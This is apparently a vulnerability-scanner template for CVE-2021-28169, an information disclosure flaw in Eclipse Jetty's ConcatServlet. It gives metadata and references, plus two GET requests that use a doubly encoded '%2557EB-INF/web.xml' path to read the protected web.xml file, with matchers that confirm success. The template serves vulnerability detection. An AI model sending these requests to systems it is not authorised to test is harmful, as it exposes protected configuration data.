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id : CVE-2021-28169
info :
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name : Eclipse Jetty ConcatServlet - Information Disclosure
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author : pikpikcu
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severity : medium
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description : |
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Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure. Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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reference :
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- https://twitter.com/sec715/status/1406787963569065988
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- https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
- https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe@%3Cusers.kafka.apache.org%3E
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- https://nvd.nist.gov/vuln/detail/CVE-2021-28169
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- https://lists.apache.org/thread.html/r04a4b4553a23aff26f42635a6ae388c3b162aab30a88d12e59d05168@%3Cjira.kafka.apache.org%3E
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score : 5.3
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cve-id : CVE-2021-28169
cwe-id : CWE-200
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epss-score : 0.00116
cpe : cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : eclipse
product : jetty
tags : cve,cve2021,jetty
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http :
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- method : GET
path :
- "{{BaseURL}}/static?/%2557EB-INF/web.xml"
- "{{BaseURL}}/concat?/%2557EB-INF/web.xml"
matchers-condition : and
matchers :
- type : word
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part : header
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words :
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- "application/xml"
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- type : word
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part : body
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words :
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- "</web-app>"
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- "java.sun.com"
condition : and
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- type : status
status :
- 200